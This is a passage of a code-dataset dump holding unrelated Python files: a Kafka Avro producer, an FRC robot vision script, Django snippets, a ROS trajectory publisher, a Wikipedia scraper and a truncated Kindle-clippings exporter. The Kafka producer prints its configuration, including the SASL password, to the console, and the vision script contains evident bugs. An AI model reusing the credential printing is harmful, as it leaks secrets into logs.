\"Appright\")","sub_path":"argonomic/posture__detection_app.py","file_name":"posture__detection_app.py","file_ext":"py","file_size_in_byte":11590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"329200058","text":"import os\n\nclass ConfigManager(dict):\n \"\"\"config is a bit unruly, separating it out\"\"\"\n\n defaults = {\n 'request_url': 'http://fantasy.mlssoccer.com/drf/bootstrap',\n 'photo_url': 'http://cdn.ismfg.net/static/mlsf/img/shirts/photos/',\n 'commits_url': 'https://api.github.com/repos/coffenbacher/mls-data/commits',\n 'data_url': 'https://raw.githubusercontent.com/coffenbacher/mls-data',\n 'comp_url': 'http://www.mlssoccer.com/schedule',\n 'games_url': 'https://rawgit.com/coffenbacher/mls-data/master/automated/games/',\n 'match_url': 'http://matchcenter.mlssoccer.com/matchcenter/',\n }\n\n def __init__(self, override={}):\n \"\"\"update the defaults with any key you choose to override, and initialize our dict\"\"\"\n super(ConfigManager, self).__init__()\n self.defaults.update(override)\n self.update(self.defaults)\n\n def getenv(self, key):\n \"\"\"return any private keys set as environment variables\"\"\"\n return os.getenv(key)\n\n","sub_path":"mls_fantasy/util/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"550545944","text":"import json,os\nfrom confluent_kafka import KafkaError\nfrom confluent_kafka.avro import AvroProducer\n\nclass KafkaProducer:\n\n def __init__(self,kafka_env = 'LOCAL',kafka_brokers = \"\",kafka_apikey = \"\",schema_registry_url = \"\"):\n self.kafka_env = kafka_env\n self.kafka_brokers = kafka_brokers\n self.kafka_apikey = kafka_apikey\n self.schema_registry_url = schema_registry_url\n\n def prepareProducer(self,groupID = \"pythonproducers\",key_schema = \"\", value_schema = \"\"):\n options ={\n 'bootstrap.servers': self.kafka_brokers,\n 'schema.registry.url': self.schema_registry_url,\n 'group.id': groupID\n }\n # We need this test as local kafka does not expect SSL protocol.\n if (self.kafka_env != 'LOCAL'):\n options['security.protocol'] = 'SASL_SSL'\n options['sasl.mechanisms'] = 'PLAIN'\n options['sasl.username'] = 'token'\n options['sasl.password'] = self.kafka_apikey\n if (self.kafka_env == 'OCP'):\n options['ssl.ca.location'] = os.environ['PEM_CERT']\n options['schema.registry.ssl.ca.location'] = os.environ['PEM_CERT']\n print(\"--- This is the configuration for the producer: ---\")\n print(options)\n print(\"---------------------------------------------------\")\n self.producer = AvroProducer(options,default_key_schema=key_schema,default_value_schema=value_schema)\n\n def delivery_report(self,err, msg):\n \"\"\" Called once for each message produced to indicate delivery result.\n Triggered by poll() or flush(). \"\"\"\n if err is not None:\n print('[ERROR] - Message delivery failed: {}'.format(err))\n else:\n print('Message delivered to {} [{}]'.format(msg.topic(), msg.partition()))\n\n def publishEvent(self, topicName, value, key):\n # Important: value DOES NOT come in JSON format from ContainerAvroProducer.py. Therefore, we must convert it to JSON format first\n self.producer.produce(topic=topicName,value=json.loads(value),key=json.loads(key), callback=self.delivery_report)\n self.producer.flush()","sub_path":"itg-tests/kafka/KcAvroProducerES.py","file_name":"KcAvroProducerES.py","file_ext":"py","file_size_in_byte":2168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"69319280","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('app_coi', '0019_auto_20150317_2021'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='visitingscholar',\n name='category',\n field=models.CharField(default=b'P', max_length=1, choices=[(b'C', b'Current Visiting Scholar'), (b'P', b'Past Visiting Scholar')]),\n preserve_default=True,\n ),\n ]\n","sub_path":"app_coi/migrations/0020_auto_20150317_2128.py","file_name":"0020_auto_20150317_2128.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"562243667","text":"#########################################################################################################\n###\n### WRITTEN BY:\n### \n### ColonelKai - Kayra Acar\n### TUNAPRO1234 - Tuna Gul\n### BLACKSHADOW - Siyabend Urun\n### \n### FRC 2020 - NightVision - Target Detection Algorithm \n### \n### NightFury#7839 (Adımız şu an farklı olabilir tartışmalar hala devam ediyor)\n### \n#########################################################################################################\n\n#########################################################################################################\n## NightVision Usage:\n##\n## Öncelikle bu kod frcvision kurulmuş bir Raspberry pi üzerine kurulmalıdır, kodun ayarlarını yapabilmek için,\n## \"InputPlus.py\" adlı python scriptini /home/pi klasörüne atmalısınız. settings.json dosyası iki script (hem arayüz \n## hem de algoritma) için de ortak database dosyasıdır. Her ne kadar okuma ve yazma fonksiyonlarının hata vermemesi \n## için çalışsam da gözden kaçırdığım yerler olabilir, o yüzden lütfen acil bir durum olmadıkça dosyalar içinde\n## değişiklik yapmayın. \n## \n## \n## Kod, çalışmak için FRC_LIB7839.py dosyasına ihtiyaç duymaktadır. FRC_LIB7839.py kodu da arayüz kodu\n## ile aynı dizinde (/home/pi) bulunmalıdır. Eğer bilgisayar üzerinde test yapmak amacıyla indiriyorsanız \n## (ki geliştirme dışında pek bir amaç görmüyorum) aynı klasörde olması yeterli. \n##\n## \n## Frcvision kod her hata verdikten 5 saniye sonra kodu baştan başlatıyor, ayrıca algoritma kodlarının çoğunu \n## Siyabend yazdı çok karıştırmak da istemiyorum. Bu nedenler yüzünden hata engelleme konusuna arayüzde olduğu kadar \n## çok çalışamadım. \n##\n## \n## Bu kod FRC'nin 2020, (INFINITE RECHARGE) sezonu için hazırlanmış olsa da arayüz (InputPlus.py), her yıl için \n## küçük bir düzenleme ile kullanıma hazır olabilir. Her ne kadar seneye çok katılmak istesem de muhtemelen \n## katılamayacağımız gerçeği beni üzüyor. Belki kod 40-50'den fazla kez indirilirse seneye düzenlemeleri çok\n## daha erken yapabilirim.\n## \n## \n## Bilgisayar Testleri İçin:\n## \n## Yukarda yazdığım gibi bilgisayarda test yapmak için tüm dosyaların aynı klasörde olması gerekmektedir.\n## \n## Bilgisayarlarda kamera ile kullanbilmek için: python NightVision.py --pc-mode \n## Laptop kullanıyorsanız, laptopun builtin kamerasının numarası 0 olacaktır. Eğer FRC'nin yolladığı kamerayı \n## taktıysanız 1, eğer dünyanın en basit arayüzünü kullanamadıysanız ip adresini girebilirsiniz\n## \n## Bilgisayarlarda örnek görüntü ile test yapmak için: python NightVision --pc-test-image \n## Bunu okuyorsan Siyabend sakattır\n## \n## Raspberry pi üzerine örnek görüntü ile test yapmak içim python NightVision --test-image \n## Muhtemelen çalışmaz daha önce denemedim ve ihtiyaç da duymadım\n##\n#########################################################################################################\n\n\n\"\"\"#####################################################################################################\"TODO\"\n## VERSION 5 \n## **ADD PC TEST MODE (TUNAPRO1234)\n## ADD LED CONTROLLING SYSTEM (TUNAPRO1234)\n## ADD NETWORK TABLES SENDING SYSTEM FOR AUTONOMOUS (BLACKSHADOW)\n## Sürekli JSON Database'inden okuma ve handle_error_lite'lar\n##\n##\n##\n##\n##\n##\n##\n##\n##\n##\n##\n\"TODO\"#####################################################################################################\"\"\"\n\nfrom frc_lib7839 import *\nimport numpy as np\nimport threading\nimport socket\nimport queue\nimport math\nimport time\nimport sys\nimport cv2\nimport os\n\n\n# region global\nglobal success\nglobal pc_mode\nglobal cam_num\nglobal team_ip1\n\n\nteam_number = InputPFunctions.find_arg(\"--team-number\", num=True)\n\nif team_number is None:\n team_ip1 = \"78.39\"\n \nelse:\n team_ip1 = str(InputPFunctions.find_arg(\"--team-number\")) \n if len(team_ip1) == 3:\n team_ip1 = \"0\" + team_ip1[0] + \".\" + team_ip1[1:]\n\n elif len(team_ip1) == 4:\n team_ip1 = team_ip1[0:2] + \".\" + team_ip1[2:]\n\n\npc_test_image = InputPFunctions.find_arg(\"--pc-test-image\", num=True)\n\npc_mode = InputPFunctions.find_arg(\"--pc-mode\", num=True)\ncam_num = InputPFunctions.find_arg(\"--pc-mode\")\n\n# pc_mode = 1\n# cam_num = \"http://10.78.39.97:1181/stream.mjpg\"\n\nimage_mode = InputPFunctions.find_arg(\"--test-image\", num=True)\n\n\nif pc_test_image is not None:\n pc_mode = 1\n image_mode = 1\n\nif os.name == \"nt\":\n pc_mode = 1\n\nif image_mode is not None:\n test_image = InputPFunctions.find_arg(\"--pc-mode\")\n \n if test_image is None:\n test_image = InputPFunctions.find_arg(\"--pc-test-image\")\n \n if not os.path.exists(test_image):\n test_image = None\n image_mode = None\n\nif cam_num is not None:\n try:\n cam_num = int(cam_num)\n except ValueError:\n cam_num = cam_num\nelse:\n cam_num = 0\n\nif pc_mode is None:\n from cscore import CameraServer, VideoSource\n from networktables import NetworkTables\n\n\nif pc_mode is not None:\n w_time = 5\n\nelse:\n w_time = 30\n\n# endregion\n\ndef handle_error_lite(errmsg):\n if type(errmsg) == str:\n if str(errmsg).startswith(\"InputP\"):\n # if test_mode is not None:\n # raise Exception(str(errmsg))\n # else:\n return True\n else:\n return False\n\ndef json_read_thread(): \n json_read_thread.finished = False\n settings = DbFunctions.read_settings_on_json(file_s)\n\n # print(\"bunu görmüyorsan kayra sakattır\")\n \n if handle_error_lite(settings) == True:\n settings = {}\n settings[setting_names[0]] = setting_defaults[0]\n settings[setting_names[1]] = setting_defaults[1]\n settings[setting_names[2]] = setting_defaults[2]\n settings[setting_names[3]] = setting_defaults[3]\n settings[setting_names[4]] = setting_defaults[4]\n \n else:\n robo_loc = DbFunctions.read_settings_on_json(\"Robot Location\", file_s)\n cam_tol = DbFunctions.read_settings_on_json(\"Camera Tolerance\", file_s)\n wait_per = DbFunctions.read_settings_on_json(\"Waiting Period\", file_s)\n auto_mode = DbFunctions.read_settings_on_json(\"Autonomous Mode\", file_s)\n cam_off = DbFunctions.read_settings_on_json(\"Camera Offset\", file_s)\n is_MM_started = DbFunctions.read_settings_on_json(\"Match Mode Status\", file_s)\n \n json_read_thread.finished = True\n\n return robo_loc, cam_tol, wait_per, auto_mode, cam_off, is_MM_started\n\ndef main():\n # os.popen('export DISPLAY=\":0\"') \n functions = CameraFunctions()\n \n print(\"Started\") \n\n isNtStarted = None\n isConntedtoRadio = None\n y_error = None\n \n ip_addr = InputPFunctions.get_ipaddr()\n \n if handle_error_lite(ip_addr) and pc_mode is None:\n ip_addr = \"127.0.1.1\"\n \n elif handle_error_lite(ip_addr) and pc_mode is not None:\n ip_addr = \"127.0.0.1\"\n \n \n if ip_addr.startswith(\"10.\" + team_ip1):\n print(\" ## NETWORK TABLES INIT ## \")\n else:\n isConntedtoRadio = False\n \n if pc_mode is None:\n if os.name == \"posix\":\n try:\n print(\" ## NETWORK TABLES INIT ## \")\n NetworkTables.initialize(\"10.78.39.2\")\n \n except:\n ### ERROR ###\n print(\" ### NETWORK TABLES INIT FAILED ### \")\n isNtStarted = False \n \n else:\n isNtStarted = True\n \n \n \n if image_mode is not None:\n cap = cv2.imread(test_image) \n\n elif pc_mode is not None: \n cap = cv2.VideoCapture(cam_num)\n cap.set(3, 480)\n cap.set(4, 640)\n cap.set(cv2.CAP_PROP_EXPOSURE, -9)\n \n \n else:\n cs = CameraServer.getInstance()\n cs.enableLogging()\n\n camera = cs.startAutomaticCapture() \n camera.setResolution(640, 480)\n camera.getProperty(\"brightness\").set(0)\n camera.getProperty(\"contrast\").set(50)\n camera.getProperty(\"saturation\").set(100)\n camera.getProperty(\"exposure_auto\").set(1)\n camera.getProperty(\"exposure_absolute\").set(0)\n \n cvSink = cs.getVideo()\n \n procTable = NetworkTables.getTable(\"imgProc\")\n smartTable = NetworkTables.getTable(\"SmartDashboard\")\n \n if pc_mode is None:\n outputStream = cs.putVideo(\"LQimg\", 120, 90)\n print(\"outputStream = cs.putVideo('LQimg', 120, 90)\")\n\n imgHQ = np.zeros(shape=(640, 360, 3), dtype=np.uint8)\n imgLQ = np.zeros(shape=(120, 90, 3), dtype=np.uint8)\n\n text_font = cv2.FONT_HERSHEY_SIMPLEX\n _name = \"\"\n \n print(\"VISION PROCESSING STARTED\")\n \n robo_loc, cam_tol, wait_per, auto_mode, cam_off, is_MM_started = json_read_thread() \n \n start_t = timeit.default_timer()\n que = queue.Queue()\n # t = threading.Thread(target=lambda q, arg1: q.put(json_read_thread(arg1)), args=(que, \"\"))\n # firsttimethreading = True\n # is_MM_started = False\n w_timed = 5\n m_timed = 20\n\n while True:\n y_error = None\n elapsed = timeit.default_timer() - start_t \n\n\n if is_MM_started is None or str(is_MM_started) == \"False\": \n if elapsed >= w_timed:\n start_t = timeit.default_timer()\n robo_loc, cam_tol, wait_per, auto_mode, cam_off, is_MM_started = json_read_thread()\n print(\"db1\")\n \n elif str(is_MM_started) == \"True\": \n if elapsed >= m_timed:\n start_t = timeit.default_timer()\n robo_loc, cam_tol, wait_per, auto_mode, cam_off, is_MM_started = json_read_thread()\n print(\"db2\")\n \n\n \n # # kayranın threading return değer ataması\n\n\n # try: \n # if json_read_thread.finished:\n # t.join()\n # robo_loc, cam_tol, wait_per, auto_mode, cam_off = que.get()\n # # t.\n # t.start()\n # except:\n # if firsttimethreading:\n # t.start()\n # firsttimethreading = False\n # elif firsttimethreading == False:\n # pass\n \n\n\n ok_contours = []\n \n success = False\n \n if image_mode is not None:\n processingImg = cv2.imread(test_image) \n\n elif pc_mode is not None:\n time, frame = cap.read()\n processingImg = frame\n \n else:\n time, processingImg = cvSink.grabFrame(imgHQ)\n if time == 0:\n if isNtStarted:\n outputStream.notifyError(cvSink.getError())\n # logging.debug(cvSink.getError())\n # continue\n \n # if processingImg is not None:\n # print(\"debug 1\")\n\n contours = functions.detect_targets(processingImg, pc_mode)\n \n try:\n for cnt in contours:\n _ok, _name = functions.cnt_test(cnt)\n if _ok:\n ok_contours.append(cnt)\n success = True\n except TypeError:\n pass\n\n # print(\"debug 2\")\n \n # robo_loc, cam_tol, wait_per, auto_mode, cam_off = json_read_thread() \n final_result = processingImg\n \n # gen_frames(final_result, True)\n \n if len(ok_contours) >= 1:\n final_result = functions.draw_rectangle(processingImg, ok_contours)\n cv2.putText(\n final_result, _name, (30, 50), text_font, 1, (0, 0, 255), 2, cv2.LINE_AA\n )\n _, y_error, distance = functions.calculate_errors(ok_contours)\n \n if pc_mode is None:\n # print(\"ok\")\n procTable.putString('Robot Location', robo_loc)\n procTable.putString('Cam Tol', cam_tol)\n procTable.putString('Waiting Period', wait_per)\n procTable.putString('Autonomous Mode', auto_mode)\n procTable.putString('Camera Offset', cam_off)\n \n if success and y_error is not None:\n procTable.putString('yerror', y_error)\n else:\n procTable.putString('yerror', \"NF\")\n \n smartTable.putString('Robot Location', robo_loc)\n smartTable.putString('Cam Tol', cam_tol)\n smartTable.putString('Waiting Period', wait_per)\n smartTable.putString('Autonomous Mode', auto_mode)\n smartTable.putString('Camera Offset', cam_off)\n\n if success and y_error is not None:\n smartTable.putString('yerror', y_error)\n else:\n smartTable.putString('yerror', \"NF\")\n \n \n \n \n # print(\"debug 3\")\n \n imgLQ = cv2.resize(final_result, (120, 90))\n \n if pc_mode is not None:\n cv2.imshow(\"FRC Vision\", final_result)\n\n if cv2.waitKey(1) & 0xFF == ord(\"q\"):\n break\n \n \n \n if y_error is None and success == True: # Hedefin yarısı görüldüğünde success değişkeni true değerini almasına rağmen hedef kenarlara değdiği için y_error değeri almıyor (Siyabendin müthiş çözümleri)\n success = False # \n print(\"y_error none but success true\")\n # Success true olunca tarama modu duruyor ve kamera y_errora göre hareket etmeye başlıyor \n # Ama bizim y_error köşe olayı yüzünden olmadığı için kamera hareketsiz kalıyordu\n \n if success == False: \n print(\"Not found anything\") \n \n # print(\"debug 4\")\n \n try:\n if y_error is not None and success == True and pc_mode is None:\n \n if ((success == True) and (y_error < (-1 * int(cam_tol)))): # Eğer herhangi bir obje aktif olarak görülüyorsa, objenin orta noktası ekranın sağında kalıyorsa ve servo en sağda değilse\n print(\n \"Success: \" + str(success),\n \"Error: \" + str(y_error),\n \"Distance: \" + str(distance),\n \"Robot location: \" + robo_loc,\n \"Camera Tolerance: \" + str(int(cam_tol)), \n \"Network Tables \" + str(isNtStarted), \n \"Hedef sağda\",\n sep=\" -- \",\n )\n # go_right()\n \n \n elif ((success == True) and (int(y_error) > int(cam_tol))): # Eğer herhangi bir obje aktif olarak görülüyorsa, objenin orta noktası ekranın solunda kalıyorsa ve servo en solda değilse\n print(\n \"Success: \" + str(success),\n \"Error: \" + str(int(y_error)),\n \"Distance: \" + str(distance),\n \"Robot location: \" + robo_loc,\n \"Camera Tolerance: \" + str(int(cam_tol)),\n \"Network Tables \" + str(isNtStarted),\n \"Hedef solda\",\n sep=\" -- \",\n )\n # go_left() \n\n elif ((success == True) and (int(y_error) <= int(cam_tol)) and (int(y_error) >= (-1 * int(cam_tol)))):\n print(\n \"Success: \" + str(success),\n \"Error: \" + str(int(y_error)),\n \"Distance: \" + str(distance),\n \"Robot location: \" + robo_loc,\n \"Camera Tolerance: \" + str(int(cam_tol)),\n \"Network Tables \" + str(isNtStarted),\n \"Hedef ortada\",\n sep=\" -- \",\n ) \n\n else:\n print(\n \"Success: \" + str(success),\n \"Error: \" + str(int(y_error)),\n \"Distance: \" + str(distance), \n \"Robot location: \" + robo_loc,\n \"Camera Tolerance: \" + str(int(cam_tol)),\n \"Network Tables \" + str(isNtStarted),\n \"Hedef bulunamadı\",\n sep=\" -- \",\n ) \n\n elif int(y_error) is not None and success == True and pc_mode is not None:\n \n if ((success == True) and (int(int(y_error)) < (-1 * int(int(cam_tol))))): # Eğer herhangi bir obje aktif olarak görülüyorsa, objenin orta noktası ekranın sağında kalıyorsa ve servo en sağda değilse\n print(\n \"Success: \" + str(success),\n \"Error: \" + str(int(y_error)),\n \"Distance: \" + str(distance),\n \"Robot location: \" + robo_loc,\n \"Camera Tolerance: \" + str(int(cam_tol)), \n \"Hedef sağda\",\n sep=\" -- \",\n )\n # go_right()\n \n \n elif ((success == True) and (int(y_error) > int(cam_tol))): # Eğer herhangi bir obje aktif olarak görülüyorsa, objenin orta noktası ekranın solunda kalıyorsa ve servo en solda değilse\n print(\n \"Success: \" + str(success),\n \"Error: \" + str(int(y_error)),\n \"Distance: \" + str(distance),\n \"Robot location: \" + robo_loc,\n \"Camera Tolerance: \" + str(int(cam_tol)),\n \"Hedef solda\",\n sep=\" -- \",\n )\n # go_left() \n\n elif ((success == True) and (int(y_error) <= int(cam_tol)) and (int(y_error) >= (-1 * int(cam_tol)))):\n print(\n \"Success: \" + str(success),\n \"Error: \" + str(int(y_error)),\n \"Distance: \" + str(distance),\n \"Robot location: \" + robo_loc,\n \"Camera Tolerance: \" + str(int(cam_tol)),\n \"Hedef ortada\",\n sep=\" -- \",\n ) \n\n else:\n print(\n \"Success: \" + str(success),\n \"Error: \" + str(int(y_error)),\n \"Distance: \" + str(distance), \n \"Robot location: \" + robo_loc,\n \"Camera Tolerance: \" + str(int(cam_tol)),\n \"Hedef bulunamadı\",\n sep=\" -- \",\n ) \n except TypeError:\n pass \n \n if image_mode is None:\n cap.release()\n \n cv2.destroyAllWindows()\n exit()\n\nif __name__ == \"__main__\":\n main()","sub_path":"NightVision.py","file_name":"NightVision.py","file_ext":"py","file_size_in_byte":19661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"6981575","text":"from django.conf.urls import url, include\nfrom .views import (\n question_list,\n # question_create,\n # question_delete,\n # question_edit,\n # question_detail\n)\n\n\nurlpatterns = [\n url(r'^$', question_list, name='list'),\n # url(r'^create/', question_create, name='create'),\n # url(r'^delete/', question_delete, name='delete'),\n # url(r'^edit/', question_edit, name='edit'),\n # url(r'^detail/', question_detail, name='detail'),\n]\n","sub_path":"questions/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"600785332","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\nfrom pprint import pprint\nimport csv\nimport os\nimport numpy as np\nimport pandas as pd\n\ndriver = webdriver.Chrome()\n\nkeyword_file = \"Key Phrase Data/key\"\nfile_end = \".txt\"\n\npage = requests.get(\"https://en.wikipedia.org/wiki/Timeline_of_the_21st_century#2001\")\n\nsoup = BeautifulSoup(page.text,'html.parser')\nlists = soup.find_all('ul')\n\nwhole_text = ''\nfor list in lists[8:27]:\n for item in list:\n remove = False\n text = str (item)\n out = \"\"\n text = text[4:len(text)-4]\n length = len(text)-1\n for c in range(length, -1, -1):\n if text[c: c+1] == '>':\n remove = True\n\n if text[c:c+1] == '<':\n remove = False\n\n if not remove:\n if not text[c:c+1] == '<':\n out = out + (text[c:c+1])\n\n out = out[::-1] \n whole_text = whole_text + \" \" + out\n\nwhole_text = whole_text.lower()\n\nfound = []\n\nfor year in range(2002, 2020):\n if year == 2003:\n continue\n\n input = [year]\n flagged = []\n count = 0\n filename = keyword_file + str(year) + file_end\n f = open(filename, \"r\")\n lines = f.readlines()\n\n for word in range(len(lines)):\n lines[word] = lines[word][0: len(lines[word])-1]\n \n for word in lines:\n if word.lower() in whole_text:\n flagged.append(word)\n count = count + 1\n \n input.append(flagged) \n input.append(count / len(lines))\n found.append(input)\n\ndf = pd.DataFrame(found, columns =['Year','Words','Percentage of Keywords']) \n\nprint(df) \n\n\n","sub_path":"Sentiment/Wiki/wiki_keywords.py","file_name":"wiki_keywords.py","file_ext":"py","file_size_in_byte":1655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"628773339","text":"#!/usr/bin/env python\n# send a simple whole body trajectory\n\nimport rospy\nimport ihmc_msgs\nfrom ihmc_msgs.msg import *\nimport time\n\nif __name__ == '__main__':\n pub = rospy.Publisher(\"/ihmc_ros/valkyrie/control/whole_body_trajectory\", WholeBodyTrajectoryRosMessage, queue_size = 1)\n rospy.init_node (\"DemoWBTMover\")\n msg = WholeBodyTrajectoryRosMessage()\n\n msg.left_hand_trajectory_message.unique_id = 0\n msg.left_hand_trajectory_message.execution_mode = 1 # 0 is override, 1 is queue\n msg.right_hand_trajectory_message.unique_id = 0\n msg.right_hand_trajectory_message.robot_side =1\n msg.right_hand_trajectory_message.execution_mode = 1 # 0 is override, 1 is queue\n\n msg_left = ArmTrajectoryRosMessage(joint_trajectory_messages = [OneDoFJointTrajectoryRosMessage(trajectory_points = [TrajectoryPoint1DRosMessage(time= 3.0, position = -0.3, velocity = 0)] )]*7, execution_mode = 0, unique_id = -1) #rospy.Time.now().secs)\n msg.left_arm_trajectory_message = msg_left\n msg.left_arm_trajectory_message.robot_side =0\n\n msg_right = ArmTrajectoryRosMessage(joint_trajectory_messages = [OneDoFJointTrajectoryRosMessage(trajectory_points = [TrajectoryPoint1DRosMessage(time= 3.0, position = 0.2, velocity = 0)] )]*7, execution_mode = 0, unique_id = -1) #rospy.Time.now().secs)\n msg.right_arm_trajectory_message = msg_right\n msg.right_arm_trajectory_message.unique_id = 0\n msg.right_arm_trajectory_message.robot_side =1\n\n msg.chest_trajectory_message.unique_id = 0\n msg.chest_trajectory_message.execution_mode = 1 # 0 is override, 1 is queue\n\n msg_pelvis = PelvisTrajectoryRosMessage()\n pt = SE3TrajectoryPointRosMessage()\n pt.time = 3.0\n pt.position.x = -0.06\n pt.position.y = -0.06\n pt.position.z = 1.0\n pt.orientation.w = 1.0\n pt.orientation.x = 0\n pt.orientation.y = 0\n pt.orientation.z = 0\n\n msg_pelvis.taskspace_trajectory_points = [pt]\n msg.pelvis_trajectory_message = msg_pelvis\n msg.pelvis_trajectory_message.unique_id = -1\n msg.pelvis_trajectory_message.execution_mode = 0 # 0 is override, 1 is queue\n\n msg.left_foot_trajectory_message.unique_id = 0\n msg.left_foot_trajectory_message.execution_mode = 1 # 0 is override, 1 is queue\n\n msg.right_foot_trajectory_message.unique_id = 0\n msg.right_foot_trajectory_message.robot_side =1\n msg.right_foot_trajectory_message.execution_mode = 1 # 0 is override, 1 is queue \n\n\n\n\n\n msg.unique_id = 14\n\n pub.publish(msg)\n time.sleep(1) \n #pub.publish(msg)\n #time.sleep(1) ","sub_path":"catkin_ws/scripts/simple_command_whole_body.py","file_name":"simple_command_whole_body.py","file_ext":"py","file_size_in_byte":2541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"495115807","text":"#!/usr/bin/env python3\n# encoding: utf-8\n\"\"\"\nkindle2en.py\n\nCreated by Andre Dieball - andre@dieball.net on 2016-06-12.\nCopyright (c) 2016. All rights reserved.\nBased on the work of Jamie Todd Rubin - http://www.jamierubin.net\nChanges:\n - changed to Python 3.x\n - changed to work with Kindle Devices set to the German language\n (actually right now it only works when your Kindle is set to German)\n\n\n//\n// Dear maintainer:\n//\n// Once you are done trying to 'optimize' this routine,\n// and have realized what a terrible mistake that was,\n// please increment the following counter as a warning\n// to the next guy:\n//\n// total_hours_wasted_here = 42\n//\n\n\"\"\"\n\nfrom __future__ import print_function\nimport getopt\nimport os.path\nimport re\nimport codecs\nimport sys\nfrom datetime import *\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom os.path import expanduser\nimport dateutil.parser as parser\nimport locale\nimport smtplib\n\n\nclass GermanParserInfo(parser.parserinfo):\n WEEKDAYS = [(\"Mo.\", \"Montag\"),\n (\"Di.\", \"Dienstag\"),\n (\"Mi.\", \"Mittwoch\"),\n (\"Do.\", \"Donnerstag\"),\n (\"Fr.\", \"Freitag\"),\n (\"Sa.\", \"Samstag\"),\n (\"So.\", \"Sonntag\")]\n MONTHS = [('Jan', 'Januar'),\n ('Feb', 'Februar'),\n ('Mar', 'März'),\n ('Apr', 'April'),\n ('May', 'Mai'),\n ('Jun', 'Juni'),\n ('Jul', 'Juli'),\n ('Aug', 'August'),\n ('Sep', 'Sept', 'September'),\n ('Oct', 'Oktober'),\n ('Nov', 'November'),\n ('Dec', 'Dezember')]\n\n\ndef read_configuration(f):\n config_settings = {}\n if os.path.isfile(f) == False:\n sys.exit(2)\n\n lines = [line.strip() for line in open(f)]\n for line in lines:\n if (line == \"\" or line[0] == '#'):\n continue\n\n tokens = line.split('=')\n config_settings[tokens[0]] = tokens[1]\n\n return config_settings\n\ndef get_semaphore_date(f):\n if (os.path.isfile(f) == False):\n f = open(f, 'w')\n last_date = parser.parse('1/1/2000')\n print(last_date, file=f)\n f.close()\n\n lines = [line.strip() for line in open(f)]\n for line in lines:\n last_date = parser.parse(line)\n\n return last_date\n\ndef main(argv):\n update_time = datetime.now()\n locale.setlocale(locale.LC_TIME, ('de', 'UTF-8'))\n verbose = 1\n CONFIG_FILE = \"\"\n HOME_DIR = expanduser(\"~\")\n\n try:\n opts, args = getopt.getopt(argv, \"hvVf:\", [\"file=\"])\n except:\n print('kindle2en.py -h -v -V -f ')\n sys.exit(2)\n for opt, arg in opts:\n if (opt == '-h'):\n usage = \"\"\"Usage: kindle2en.py [options]\n Options:\n -f specific location of configuration file other than home dir\n -h display help\n -v verbose output\n -V output version information and exit\n \"\"\"\n print(usage)\n sys.exit(0)\n elif (opt == '-f'):\n CONFIG_FILE = arg\n elif (opt == '-v'):\n verbose = 1\n elif (opt == '-V'):\n print('kindle2en.py (0.9.0)')\n\n if (CONFIG_FILE == \"\"):\n CONFIG_FILE = HOME_DIR + '/kindle2en.cfg'\n\n if (verbose == 1):\n print('Using config file at ' + CONFIG_FILE)\n\n # Read configuration file\n config = read_configuration(CONFIG_FILE)\n\n # Other settings\n SEMAPHORE = HOME_DIR + '/kindle2en.sem'\n RECORD_DELIM = '=========='\n\n if (os.path.isfile(config['CLIPPINGS_FILE']) == False):\n # ASSERT: error! Can't find the clippings file; exit cleanly\n print('Cannot locate \"My Clippings.txt\" at ' + config['CLIPPINGS_FILE'] + '.')\n sys.exit(1)\n\n # Process semaphore file for last_date value\n last_date = get_semaphore_date(SEMAPHORE)\n if (verbose == 1):\n print('Looking for updates since ' + last_date.strftime(\"%Y-%m-%d %H:%M:%S\"))\n\n line_count = 0\n title_notes = {}\n is_title = prev_date = notenote = highlight = 0\n\n if (verbose == 1):\n print('Parsing the clippings file at ' + config['CLIPPINGS_FILE'])\n\n # Parse the clippings.txt file\n lines = [line.strip() for line in codecs.open(config['CLIPPINGS_FILE'], 'r', 'utf-8-sig')]\n for line in lines:\n line_count = line_count + 1\n if (line_count == 1 or is_title == 1):\n title = line\n prev_title = 1\n is_title = 0\n note_type_result = note_type = l = l_result = location = \"\"\n continue\n else:\n # ASSERT: not the first line\n if (prev_title == 1):\n # ASSERT: this is the date line\n # print(line)\n result = re.search(r'(.*)Hinzugefügt am (.*)', line, re.M | re.I)\n if (result is not None):\n note_type_result = result.group(1)\n # print(note_type_result)\n if (note_type_result.find(\"Markierung\") > 0):\n note_type = \"Markierung\"\n else:\n note_type = \"Notiz\"\n\n l = note_type_result\n l_result = re.search(r'(\\d+)', l, re.M | re.I)\n location = l_result.group(1)\n note_date = parser.parse(result.group(2), parserinfo=GermanParserInfo())\n\n if (note_date >= last_date):\n # ASSERT: We haven't collected this note yet, so do it now.\n str_date = note_date.strftime(\"%Y-%m-%d %H:%M:%S\")\n if title in title_notes:\n title_notes[\n title] += note_type + ' am ' + str_date + ', ' + ' beginnend bei Position ' + location + '\\n'\n else:\n title_notes[\n title] = note_type + ' am ' + str_date + ', ' + ' bei Position ' + location + '\\n'\n\n prev_title = 0\n collect = 1\n continue\n elif (line == RECORD_DELIM):\n # ASSERT: end of record\n if (note_type == \"Markierung\" and highlight == 1):\n title_notes[title] += '
\\n'\n\n if (note_type == \"Notiz\" and notenote == 1):\n title_notes[title] += '
